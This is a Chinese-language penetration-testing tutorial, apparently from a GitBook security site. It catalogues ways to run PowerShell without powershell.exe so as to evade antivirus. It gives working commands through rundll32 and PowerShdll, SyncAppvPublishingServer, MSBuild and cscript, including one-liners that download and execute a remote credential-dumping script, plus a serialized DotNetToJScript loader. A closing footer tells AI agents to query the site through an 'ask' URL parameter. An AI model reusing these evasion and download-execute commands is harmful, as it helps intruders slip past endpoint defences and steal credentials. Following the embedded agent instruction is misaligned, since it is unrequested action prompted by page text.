# 无powershell运行powershell方法总结

今天给大家带来的是，无powershell运行powershell的一些姿势的分享，由于powershell的特性，使得它很受渗透测试爱好者的喜爱，当然也催生了像ASMI之类的防御手段，当然各类杀软也是把它纳入了查杀行列中，比如某套装，只要你调用PS就会查杀，着实恶心。

![v2-7aa75c9a5348bf9b89794c1028d63102\_hd.j](https://pic3.zhimg.com/80/v2-7aa75c9a5348bf9b89794c1028d63102_hd.jpg)

所以我们在与\*\*的对抗中也会想法设法的去bypass来执行PS，这里我便总结了几种无powershell执行powershell的姿势，希望能在实战的时候帮到大家。

下面是总结的列表：

* PowerLine
* PowerShdll
* Nopowershell
* SyncAppvPublishingServer
* 调用MSBuild.exe
* 调用cscript<br>

下面的实验如无特殊说明，均在windows server 2008 sp2 + 360最新版下进行

PowerLine

PowerLine是一款由c#编写的工具，支持本地命令行调用和远程调用，可以在不直接调用PowerShell的情况下调用PowerShell脚本，优点如下：

* 自动识别win7、win10系统
* 使用方便,无需复杂的ide
* 自动xor编码
* 等

下载地址：

<https://github.com/fullmetalcache/PowerLine>

我们来看一下它的使用方法：

首先拉取项目到本地，然后运行build.bat文件

![v2-b19a332b9c48e18c2ae422d1602f0600\_hd.j](https://pic1.zhimg.com/80/v2-b19a332b9c48e18c2ae422d1602f0600_hd.jpg)

然后在UserConf.xml文件中填写你所需要调用的powershell脚本的地址，默认自带powerup、powerview、Mimikatz等，只要按照他给定的格式加入你的ps脚本地址即可

![v2-c7bddf87384428ef971c72c5d09392fd\_hd.j](https://pic2.zhimg.com/80/v2-c7bddf87384428ef971c72c5d09392fd_hd.jpg)

加入完成以后，运行PLBuilder.exe进行构建，构建过程中，360无提示

![v2-daf9f3bb37ee598ffb2f2a530d7c6b8d\_hd.j](https://pic3.zhimg.com/80/v2-daf9f3bb37ee598ffb2f2a530d7c6b8d_hd.jpg)

查看内置的脚本PowerLine.exe -ShowScripts

![v2-dcef66a815c1a2db4081c002a4a26cb4\_hd.j](https://pic3.zhimg.com/80/v2-dcef66a815c1a2db4081c002a4a26cb4_hd.jpg)

运行脚本，360无提示

![v2-19a84fc4e0f055c7c53d10f65d5423b2\_hd.j](https://pic3.zhimg.com/80/v2-19a84fc4e0f055c7c53d10f65d5423b2_hd.jpg)

但是在运行之后，360提示了报毒，并删掉了我的exe文件...一般\*\*只是检测PS发出的恶意请求，但由于在powerline中，请求是由powerline发出的，便绕过了一部分\*\*，但是缺点也是很明显，就是可扩展性太差，所有的功能依赖于配置文件...

PowerShdll

这个工具主要使用dll去运行powershell而不需要去连接powershell.exe,所以具有一定的bypass\*\*能力，当然它也可以在这几个程序下运行rundll32.exe, installutil.exe, regsvcs.exe, regasm.exe, regsv\*\*\*.exe或者使用作者给出的单独的exe进行执行

下载地址：

<https://github.com/p3nt4/PowerShdll.git>

exe版使用方法：

使用PowerShdll -i进入到交互模式，此时便获得了一个交互式的PS环境，可执行任意的powershell命令，整个过程360无拦截

![v2-0ae862b686a3088aaa82373936e1cd65\_hd.j](https://pic3.zhimg.com/80/v2-0ae862b686a3088aaa82373936e1cd65_hd.jpg)

下载mimikatz抓取密码，360全程无反应...

![v2-355a8fd9d022cc77bd05b81229fec460\_hd.j](https://pic4.zhimg.com/80/v2-355a8fd9d022cc77bd05b81229fec460_hd.jpg)

在交互式模式下唯一要注意的就是，你输入的内容不能过长，否则会出现问题，原因未可知....

我们再来看一下dll版的用法..

```bash
rundll32 PowerShdll.dll,main . { iwr -useb https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1 } ^| iex;
```

这次没有那么好运了，直接被360杀了

![v2-ff8e0c8659f2c9a0d46f6f0984d4373d\_hd.j](https://pic1.zhimg.com/80/v2-ff8e0c8659f2c9a0d46f6f0984d4373d_hd.jpg)

Nopowershell

NoPowerShell是用C＃实现的工具，它支持执行类似PowerShell的命令，同时对任何PowerShell日志记录机制都不可见。同时也提供了CS下的cna脚本。

优点：

* 执行隐秘
* 功能强大
* 扩展简单
* 即使不熟悉PS命令也可以使用cmd命令来代替PS命令，例如(使用ping来代替Test-NetConnection)

下载地址：

<https://github.com/bitsadmin/nopowershell.git>

我们来看一下它的用法：

直接运行便会输出它的版本和支持的命令

![v2-5bb8d41f49533681621c9711396dafe9\_hd.j](https://pic3.zhimg.com/80/v2-5bb8d41f49533681621c9711396dafe9_hd.jpg)

过程360无拦截

而dll版被秒杀..

![v2-d8d4c0af1e654a5cc404733d04a88b19\_hd.j](https://pic1.zhimg.com/80/v2-d8d4c0af1e654a5cc404733d04a88b19_hd.jpg)

cs下稳定..

![v2-4bb2cf81da77ba1be4b7ad8a373c7951\_hd.j](https://pic2.zhimg.com/80/v2-4bb2cf81da77ba1be4b7ad8a373c7951_hd.jpg)

这里要注意一点的是，脚本默认调用scripts下的文件，国内的cs大多为script目录，自行修改文件内的目录即可。

了解了相关的知识，我们在实操中是怎么运用呢？登录合天网安实验室寻找答案。

相关实验：CobaltStrike之代理和powershell

[实验:CobaltStrike之代理和powershell](http://www.hetianlab.com/expc.do?ec=ECID9d86-e94a-4c2f-ae12-ab36f212551b)

SyncAppvPublishingServer

SyncAppvPublishingServer是win10自带的服务，有vbs和exe两个版本，我们可以使用他们来做一些类似PS的操作

默认存放在C:\Windows\System32下面

![v2-c8a15002fffa1f7fafc621d5a641280a\_hd.j](https://pic3.zhimg.com/80/v2-c8a15002fffa1f7fafc621d5a641280a_hd.jpg)

用法实例：

弹计算机：

```
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; Start-Process Calc.exe ”
```

![v2-930494ab6efee445a9cc19d3d67d37b2\_hd.j](https://pic4.zhimg.com/80/v2-930494ab6efee445a9cc19d3d67d37b2_hd.jpg)

或者：

```
C:\Windows\System32\SyncAppvPublishingServer.vbs "Break; iwr http://192.168.1.149:443"
```

![v2-1134f3f8d147184d8b23149e203c73e4\_hd.j](https://pic4.zhimg.com/80/v2-1134f3f8d147184d8b23149e203c73e4_hd.jpg)

你也可以去远程下载执行一些ps脚本就像下面这样：

```bash
C:\Windows\System32\SyncAppvPublishingServer.exe \
" Break; (New-Object System.Net.WebClient).DownloadFile('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1','$env:USERPROFILE/1.ps1'); Start-Process '$env:USERPROFILE/1.ps1' -WindowStyle Minimized;"
```

```bash
SyncAppvPublishingServer.exe "n;(New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/peewpw/Invoke-WCMDump/master/Invoke-WCMDump.ps1') | IEX"
```

调用MSBuild.exe：

MSBuild是.Net框架中包含的工具，用于自动化创建软件产品的过程，包括编译源代码，打包，测试，部署和创建文档。

Msbuild依赖于.csproj文件，该文件具有XML语法，包含了.NET构建过程中的结果，类似于unix中的make，代码如下：

```
outputs = MyPipeline.Invoke(); 
MyRunspace.Close(); 
StringBuilder sb = new StringBuilder(); 
foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); 
} return sb.ToString(); }} ]]>< / Code>
```

test.ps1的内容如下

```
echo "hello from powershell-less"echo "this is your pid:$PID"$psversiontable
```

效果：

![v2-59f23238959a2b978143ea7f2319f15f\_hd.j](https://pic1.zhimg.com/80/v2-59f23238959a2b978143ea7f2319f15f_hd.jpg)

全程360无提示..

github上也有类似的项目：<https://github.com/Cn33liz/MSBuildShell.git>

执行完之后获得一个交互式的PS

![v2-bf5b52a3e899d776abb70e849aa50593\_hd.j](https://pic3.zhimg.com/80/v2-bf5b52a3e899d776abb70e849aa50593_hd.jpg)

调用cscript：

github上有一个开源的项目<https://github.com/tyranid/DotNetToJScript>，可以直接生产一个.js的文件，用法是

```
Dotnettojscript.exe > testps.js
```

现在作者给出来编译好的版本，但是里面总是有一些问题总是提示：

```
Error: loading assembly information.The generated script might not work correctly
```

所以我们下载下来，进行手动编译..

首先使用vs打开项目，然后切换到TestClass.cs，并注释掉MessageBox这个方法，不然每次运行都会得到一个messageBox

![v2-55490b44a2bbaa1b1dfe72bb979b0c78\_hd.j](https://pic3.zhimg.com/80/v2-55490b44a2bbaa1b1dfe72bb979b0c78_hd.jpg)

然后，因为需要调用PS，所以我们需要引入”System.Management.Automation.Runspaces”，“ System.Management.Automation“，我们可以在PS下使用下面的命令进行查询该dll的位置，然后手动引入

```
[psobject].Assembly.Location
```

![v2-e7b5329bbd4321c8e29ffa6f5f555877\_hd.j](https://pic2.zhimg.com/80/v2-e7b5329bbd4321c8e29ffa6f5f555877_hd.jpg)

引入之后，并且在TestClass中加入以下方法：

```
private string LoadScript(string filename) { string buffer =""; try { buffer = File.ReadAllText(filename); } catch (Exception e) { return ""; } return buffer; } public void RunScript(string filename) { Runspace MyRunspace = RunspaceFactory.CreateRunspace(); MyRunspace.Open(); Pipeline MyPipeline = MyRunspace.CreatePipeline(); string script=LoadFile(filename); MyPipeline.Commands.AddScript(script); MyPipeline.Commands.Add("Out-String"); Collection outputs = MyPipeline.Invoke(); MyRunspace.Close(); StringBuilder sb = new StringBuilder(); foreach (PSObject pobject in outputs) { sb.AppendLine(pobject.ToString()); } Console.WriteLine(sb.ToString());}
```

编译完得到Dotnettojscript.exe、ExampleAssembly.dll两个文件，然后我们继续将我们的test.ps1文件进行生成一个js文件，

其内容如下：

```
function setversion() {}function debug(s) {}function base64ToStream(b) { var enc = new ActiveXObject("System.Text.ASCIIEncoding"); var length = enc.GetByteCount_2(b); var ba = enc.GetBytes_4(b); var transform = new ActiveXObject("System.Security.Cryptography.FromBase64Transform"); ba = transform.TransformFinalBlock(ba, 0, length); var ms = new ActiveXObject("System.IO.MemoryStream"); ms.Write(ba, 0, (length / 4) * 3); ms.Position = 0; return ms;} var serialized_obj = "AAEAAAD/////AQAAAAAAAAAEAQAAACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVy"+"AwAAAAhEZWxlZ2F0ZQd0YXJnZXQwB21ldGhvZDADAwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXph"+"dGlvbkhvbGRlcitEZWxlZ2F0ZUVudHJ5IlN5c3RlbS5EZWxlZ2F0ZVNlcmlhbGl6YXRpb25Ib2xk"+"ZXIvU3lzdGVtLlJlZmxlY3Rpb24uTWVtYmVySW5mb1NlcmlhbGl6YXRpb25Ib2xkZXIJAgAAAAkD"+"AAAACQQAAAAEAgAAADBTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyK0RlbGVnYXRl"+"RW50cnkHAAAABHR5cGUIYXNzZW1ibHkGdGFyZ2V0EnRhcmdldFR5cGVBc3NlbWJseQ50YXJnZXRU"+"eXBlTmFtZQptZXRob2ROYW1lDWRlbGVnYXRlRW50cnkBAQIBAQEDMFN5c3RlbS5EZWxlZ2F0ZVNl"+"cmlhbGl6YXRpb25Ib2xkZXIrRGVsZWdhdGVFbnRyeQYFAAAAL1N5c3RlbS5SdW50aW1lLlJlbW90"+"aW5nLk1lc3NhZ2luZy5IZWFkZXJIYW5kbGVyBgYAAABLbXNjb3JsaWIsIFZlcnNpb249Mi4wLjAu"+"MCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdhNWM1NjE5MzRlMDg5BgcAAAAH"+"dGFyZ2V0MAkGAAAABgkAAAAPU3lzdGVtLkRlbGVnYXRlBgoAAAANRHluYW1pY0lud**rZQoEAwAA"+"ACJTeXN0ZW0uRGVsZWdhdGVTZXJpYWxpemF0aW9uSG9sZGVyAwAAAAhEZWxlZ2F0ZQd0YXJnZXQw"+"B21ldGhvZDADBwMwU3lzdGVtLkRlbGVnYXRlU2VyaWFsaXphdGlvbkhvbGRlcitEZWxlZ2F0ZUVu"+"dHJ5Ai9TeXN0ZW0uUmVmbGVjdGlvbi5NZW1iZXJJbmZvU2VyaWFsaXphdGlvbkhvbGRlcgkLAAAA"+"CQwAAAAJDQAAAAQEAAAAL1N5c3RlbS5SZWZsZWN0aW9uLk1lbWJlckluZ**TZXJpYWxpemF0aW9u"+"SG9sZGVyBgAAAAROYW1lDEFzc2VtYmx5TmFtZQlDbGFzc05hbWUJU2lnbmF0dXJlCk1lbWJlclR5"+"cGUQR2VuZXJpY0FyZ3VtZW50cwEBAQEAAwgNU3lzdGVtLlR5cGVbXQkKAAAACQYAAAAJCQAAAAYR"+"AAAALFN5c3RlbS5PYmplY3QgRHluYW1pY0lud**rZShTeXN0ZW0uT2JqZWN0W10pCAAAAAoBCwAA"+"AAIAAAAGEgAAACBTeXN0ZW0uWG1sLlNjaGVtYS5YbWxWYWx1ZUdldHRlcgYTAAAATVN5c3RlbS5Y"+"bWwsIFZlcnNpb249Mi4wLjAuMCwgQ3VsdHVyZT1uZXV0cmFsLCBQdWJsaWNLZXlUb2tlbj1iNzdh"+"NWM1NjE5MzRlMDg5BhQAAAAHdGFyZ2V0MAkGAAAABhYAAAAaU3lzdGVtLlJlZmxlY3Rpb24uQXNz"+"ZW1ibHkGFwAAAARMb2FkCg8MAAAAUAAAAAJlY2hvICJoZWxsbyBmc**tIHBvd2Vyc2hlbGwtbGVz"+"cyINCmVjaG8gInRoaXMgaXMgeW91ciBwaWQ6JFBJRCINCiRwc3ZlcnNpb250YWJsZQENAAAABAAA"+"AAkXAAAACQYAAAAJFgAAAAYaAAAAJ1N5c3RlbS5SZWZsZWN0aW9uLkFzc2VtYmx5IExvYWQoQnl0"+"ZVtdKQgAAAAKCwAA";var entry_class = 'TestClass'; try { setversion(); var stm = base64ToStream(serialized_obj); var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter'); var al = new ActiveXObject('System.Collections.ArrayList'); var d = fmt.Deserialize_2(stm); al.Add(undefined); var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class); } catch (e) { debug(e.message);} 解密后的主要逻辑如下： var entry_class = 'TestClass';try {setversion();var stm = base64ToStream(serialized_obj);var fmt = new ActiveXObject('System.Runtime.Serialization.Formatters.Binary.BinaryFormatter');var al = new ActiveXObject('System.Collections.ArrayList');var d = fmt.Deserialize_2(stm); al.Add(undefined);var o = d.DynamicInvoke(al.ToArray()).CreateInstance(entry_class);o.RunScript("c:\\test\\test.ps1");} catch (e) {debug(e.message);}
```

运行结果：

当然你也可以用下面的方法如绕过对JS后缀的检测

```
cscript //e:jscript testps.txt
```

但是360无情的杀死了我们....

![v2-03f43a71253a31846977de882b9b4e13\_hd.j](https://pic4.zhimg.com/80/v2-03f43a71253a31846977de882b9b4e13_hd.jpg)

写在后面：

本文仅对网上常见的无PS运行PS的手段进行了总结，实验过程大家也可以看的出来，是可以bypass一些\*\*的，也是各有各的优缺点，最好是针对不同的\*\*去找出它的拦截规则，然后再进行对于的bypass操作。

参考文章：

<https://www.slideshare.net/dafthack/pwning-the-enterprise-with-powershell>

<https://www.slideshare.net/dafthack/red-team-apocalypse-rvasec-edition>

<https://pentestn00b.wordpress.com/2017/03/20/simple-bypass-for-powershell-constrained-language-mode/>

<https://www.*******.com/watch?v=7tvfb9poTKg&feature=youtu.be>


---

# Agent Instructions: Querying This Documentation

If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter:

```
GET https://xu-an.gitbook.io/sec/how/ps/nops.md?ask=<question>
```

The question should be specific, self-contained, and written in natural language.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
